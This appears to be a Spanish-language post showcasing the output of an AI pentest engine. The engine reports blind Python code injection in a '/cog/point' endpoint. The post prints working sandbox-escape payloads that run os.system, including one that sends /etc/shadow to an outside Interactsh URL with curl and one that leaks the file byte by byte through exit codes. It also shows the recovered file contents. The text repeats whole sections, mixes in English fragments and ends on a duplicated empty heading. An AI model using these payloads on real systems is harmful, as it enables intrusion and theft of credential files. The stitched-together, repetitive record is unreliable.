Se identificó una vulnerabilidad de inyección ciega de código Python en el parámetro 'expression' del endpoint '/cog/point'. El servidor evalúa la expresión proporcionada, pero no devuelve la salida del comando en la respuesta HTTP. En su lugar, devuelve el código de salida del comando ejecutado, que es '0' cuando la ejecución tiene éxito. Esto confirma que el comando se ejecutó, pero los resultados deben exfiltrarse mediante un método fuera de banda.

Prueba de concepto

La vulnerabilidad se confirmó enviando el siguiente payload:

b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")

El servidor respondió con estado 200 OK y {"values":[0.0]}, donde 0.0 es el código de salida de la llamada a os.system, lo que demuestra la ejecución.

Evidencia de explotación

Para exfiltrar el archivo /etc/shadow, utilizaré una URL de Interactsh que capture la salida de un comando curl.

Payload de exfiltración:

b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")

Pasos de reproducción

  1. Inicie una sesión Interactsh para obtener una URL única.
  2. Codifique para URL el payload de exfiltración con la URL de Interactsh.
  3. Envíe una solicitud GET al endpoint vulnerable con el payload codificado en el parámetro 'expression'.
  4. Revise la sesión Interactsh buscando una solicitud POST entrante. El cuerpo de esa solicitud contendrá el archivo /etc/shadow.
  5. Vulnerability Confirmation:
El servidor ejecuta la llamada os.system y devuelve el código de salida (0) en el campo 'values' de la respuesta JSON, confirmando la ejecución ciega de comandos.
  • Exfiltration Payload:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")

El siguiente paso es explotar la vulnerabilidad:

Ejecute el payload de exfiltración fuera de banda para enviar el contenido de /etc/shadow a un servidor externo controlado. El objetivo es confirmar que la vulnerabilidad permite robar datos sensibles, verificando que el servidor a la escucha recibe el contenido del archivo.

Vulnerabilidad encontrada: inyección ciega de código Python

Resumen de la vulnerabilidad

Se identificó una vulnerabilidad de inyección ciega de código Python en el parámetro 'expression' del endpoint '/cog/point'. El servidor evalúa la expresión proporcionada, pero no devuelve la salida del comando en la respuesta HTTP. En su lugar, devuelve el código de salida del comando ejecutado, que es '0' cuando la ejecución tiene éxito. Esto confirma que el comando se ejecutó, pero los resultados deben exfiltrarse mediante un método fuera de banda.

Prueba de concepto

La vulnerabilidad se confirmó enviando el siguiente payload:

b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")

El servidor respondió con estado 200 OK y {"values":[0.0]}, donde 0.0 es el código de salida de la llamada a os.system, lo que demuestra la ejecución.

Exfiltración bloqueada por un fallo de herramienta

Para exfiltrar el archivo /etc/shadow se necesita un método fuera de banda (OOB). El método previsto era utilizar una URL Interactsh para capturar la salida de un comando curl. Sin embargo, la herramienta start_interactsh_session falla sistemáticamente al inicializarse, lo que impide generar una URL para exfiltrar datos.

Payload de exfiltración previsto:

b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")

Debido a la imposibilidad de generar una URL Interactsh, no pudo completarse el último paso de exfiltrar el archivo /etc/shadow. La vulnerabilidad está confirmada, pero la explotación está bloqueada por un problema de las herramientas.

Ejecute el payload de exfiltración fuera de banda para enviar el contenido de /etc/shadow a un servidor externo controlado. El objetivo es confirmar que la vulnerabilidad permite robar datos sensibles, verificando que el servidor a la escucha recibe el contenido del archivo.

Vulnerabilidad encontrada: inyección ciega de código Python

Resumen de la vulnerabilidad

Se identificó una vulnerabilidad de inyección ciega de código Python en el parámetro 'expression' del endpoint '/cog/point'. El servidor evalúa la expresión proporcionada, pero no devuelve la salida del comando en la respuesta HTTP. En su lugar, devuelve el código de salida del comando ejecutado, que es '0' cuando la ejecución tiene éxito. Esto confirma que el comando se ejecutó, pero los resultados deben exfiltrarse mediante un método fuera de banda.

Prueba de concepto

La vulnerabilidad se confirmó enviando el siguiente payload:

b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")

El servidor respondió con estado 200 OK y {"values":[0.0]}, donde 0.0 es el código de salida de la llamada a os.system, lo que demuestra la ejecución.

Evidencia de explotación

Para exfiltrar el archivo /etc/shadow, utilizaré una URL de Interactsh que capture la salida de un comando curl.

Payload de exfiltración:

b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")

Pasos de reproducción

  1. Inicie una sesión Interactsh para obtener una URL única.
  2. Codifique para URL el payload de exfiltración con la URL de Interactsh.
  3. Envíe una solicitud GET al endpoint vulnerable con el payload codificado en el parámetro 'expression'.
  4. Revise la sesión Interactsh buscando una solicitud POST entrante. El cuerpo de esa solicitud contendrá el archivo /etc/shadow.
  5. Vulnerability Confirmation:
El servidor ejecuta la llamada os.system y devuelve el código de salida (0) en el campo 'values' de la respuesta JSON, confirmando la ejecución ciega de comandos.
  • Exfiltration Payload:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")

Prepare un payload Python que lea el primer carácter del archivo `/etc/shadow` y devuelva su valor ASCII como código de salida del comando. El objetivo es comprobar que la respuesta de la aplicación refleja ese código, confirmando la viabilidad de un canal de exfiltración basado en códigos de salida tras fallar el método fuera de banda.

Vulnerabilidad encontrada: inyección ciega de código Python con exfiltración mediante códigos de salida

Resumen de la vulnerabilidad

Se identificó y explotó una vulnerabilidad de inyección ciega de código Python en el parámetro 'expression' del endpoint '/cog/point'. El servidor evalúa la expresión proporcionada y, aunque no devuelve la salida directa de los comandos, sí devuelve su código de salida dentro de la respuesta JSON. Se aprovechó este comportamiento para exfiltrar el contenido de /etc/shadow carácter por carácter.

Prueba de concepto

La exfiltración se logró enviando una serie de payloads, cada uno diseñado para leer un carácter de /etc/shadow, convertirlo a su valor ASCII y utilizar ese valor como código de salida del comando.

Payload de ejemplo para obtener el valor ASCII del primer carácter:

b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('exit `head -c 1 /etc/shadow | od -An -tu1`')")

Evidencia de explotación

Se exfiltró correctamente todo el contenido de /etc/shadow y se adjunta como artefacto.

Pasos de reproducción

  1. La vulnerabilidad puede reproducirse enviando una solicitud GET con un payload especialmente manipulado al endpoint vulnerable.
  2. Se creó un script Python para automatizar la exfiltración del archivo. El script recorre su contenido, envía una nueva solicitud por carácter y decodifica el código de salida de la respuesta del servidor.
  3. Los caracteres acumulados reconstruyen el archivo /etc/shadow completo.
  4. /etc/shadow:
root:*:17885:0:99999:7:::
daemon:*:17885:0:99999:7:::
bin:*:17885:0:99999:7:::
sys:*:17885:0:99999:7:::
sync:*:17885:0:99999:7:::
games:*:17885:0:99999:7:::
man:*:17885:0:99999:7:::
lp:*:17885:0:99999:7:::
mail:*:17885:0:99999:7:::
news:*:17885:0:99999:7:::
uucp:*:17885:0:99999:7:::
proxy:*:17885:0:99999:7:::
www-data:*:17885:0:99999:7:::
backup:*:17885:0:99999:7:::
list:*:17885:0:99999:7:::
irc:*:17885:0:99999:7:::
gnats:*:17885:0:99999:7:::
nobody:*:17885:0:99999:7:::
_apt:*:17885:0:99999:7:::

Ejecutarlo de nuevo produce una explotación y payloads diferentes. A continuación se muestra otro ejemplo donde el motor puede generar código que filtre el contenido byte por byte:

Exploit 2
Exploit 2

Etiquetas:

security, AI, POC, pentest, python